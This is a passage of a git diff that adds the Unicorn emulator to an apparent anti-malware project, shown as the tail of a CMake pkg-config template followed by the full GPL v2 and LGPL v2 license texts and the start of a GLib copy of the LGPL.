${UNICORN_VERSION_MAJOR}.${UNICORN_VERSION_MINOR}.${UNICORN_VERSION_PATCH}\n\ +libdir=${CMAKE_INSTALL_FULL_LIBDIR}\n\ +includedir=${CMAKE_INSTALL_FULL_INCLUDEDIR}\n\ +Libs: -L\$\{libdir\} -lunicorn\n\ +Cflags: -I\$\{includedir\}\n" + ) + install(FILES ${CMAKE_BINARY_DIR}/unicorn.pc DESTINATION ${CMAKE_INSTALL_LIBDIR}/pkgconfig) +endif() diff --git a/ai_anti_malware/unicorn/unicorn-master/COPYING b/ai_anti_malware/unicorn/unicorn-master/COPYING new file mode 100644 index 0000000..00ccfbb --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/COPYING @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/ai_anti_malware/unicorn/unicorn-master/COPYING.LGPL2 b/ai_anti_malware/unicorn/unicorn-master/COPYING.LGPL2 new file mode 100644 index 0000000..5bc8fb2 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/COPYING.LGPL2 @@ -0,0 +1,481 @@ + GNU LIBRARY GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1991 Free Software Foundation, Inc. + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the library GPL. It is + numbered 2 because it goes with version 2 of the ordinary GPL.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Library General Public License, applies to some +specially designated Free Software Foundation software, and to any +other libraries whose authors decide to use it. You can use it for +your libraries, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if +you distribute copies of the library, or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link a program with the library, you must provide +complete object files to the recipients so that they can relink them +with the library, after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + Our method of protecting your rights has two steps: (1) copyright +the library, and (2) offer you this license which gives you legal +permission to copy, distribute and/or modify the library. + + Also, for each distributor's protection, we want to make certain +that everyone understands that there is no warranty for this free +library. If the library is modified by someone else and passed on, we +want its recipients to know that what they have is not the original +version, so that any problems introduced by others will not reflect on +the original authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that companies distributing free +software will individually obtain patent licenses, thus in effect +transforming the program into proprietary software. To prevent this, +we have made it clear that any patent must be licensed for everyone's +free use or not licensed at all. + + Most GNU software, including some libraries, is covered by the ordinary +GNU General Public License, which was designed for utility programs. This +license, the GNU Library General Public License, applies to certain +designated libraries. This license is quite different from the ordinary +one; be sure to read it in full, and don't assume that anything in it is +the same as in the ordinary license. + + The reason we have a separate public license for some libraries is that +they blur the distinction we usually make between modifying or adding to a +program and simply using it. Linking a program with a library, without +changing the library, is in some sense simply using the library, and is +analogous to running a utility program or application program. However, in +a textual and legal sense, the linked executable is a combined work, a +derivative of the original library, and the ordinary General Public License +treats it as such. + + Because of this blurred distinction, using the ordinary General +Public License for libraries did not effectively promote software +sharing, because most developers did not use the libraries. We +concluded that weaker conditions might promote sharing better. + + However, unrestricted linking of non-free programs would deprive the +users of those programs of all benefit from the free status of the +libraries themselves. This Library General Public License is intended to +permit developers of non-free programs to use free libraries, while +preserving your freedom as a user of such programs to change the free +libraries that are incorporated in them. (We have not seen how to achieve +this as regards changes in header files, but we have achieved it as regards +changes in the actual functions of the Library.) The hope is that this +will lead to faster development of free libraries. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, while the latter only +works together with the library. + + Note that it is possible for a library to be covered by the ordinary +General Public License rather than by this special one. + + GNU LIBRARY GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library which +contains a notice placed by the copyright holder or other authorized +party saying it may be distributed under the terms of this Library +General Public License (also called "this License"). Each licensee is +addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also compile or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + c) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + d) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the source code distributed need not include anything that is normally +distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Library General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Libraries + + If you develop a new library, and you want it to be of the greatest +possible use to the public, we recommend making it free software that +everyone can redistribute and change. You can do so by permitting +redistribution under these terms (or, alternatively, under the terms of the +ordinary General Public License). + + To apply these terms, attach the following notices to the library. It is +safest to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +Also add information on how to contact you by electronic and paper mail. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the library, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + library `Frob' (a library for tweaking knobs) written by James Random Hacker. + + , 1 April 1990 + Ty Coon, President of Vice + +That's all there is to it! diff --git a/ai_anti_malware/unicorn/unicorn-master/COPYING_GLIB b/ai_anti_malware/unicorn/unicorn-master/COPYING_GLIB new file mode 100644 index 0000000..bf50f20 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/COPYING_GLIB @@ -0,0 +1,482 @@ + GNU LIBRARY GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1991 Free Software Foundation, Inc. + 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the library GPL. It is + numbered 2 because it goes with version 2 of the ordinary GPL.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Library General Public License, applies to some +specially designated Free Software Foundation software, and to any +other libraries whose authors decide to use it. You can use it for +your libraries, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if +you distribute copies of the library, or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link a program with the library, you must provide +complete object files to the recipients so that they can relink them +with the library, after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + Our method of protecting your rights has two steps: (1) copyright +the library, and (2) offer you this license which gives you legal +permission to copy, distribute and/or modify the library. + + Also, for each distributor's protection, we want to make certain +that everyone understands that there is no warranty for this free +library. If the library is modified by someone else and passed on, we +want its recipients to know that what they have is not the original +version, so that any problems introduced by others will not reflect on +the original authors' reputations. + + Finally, any free program is 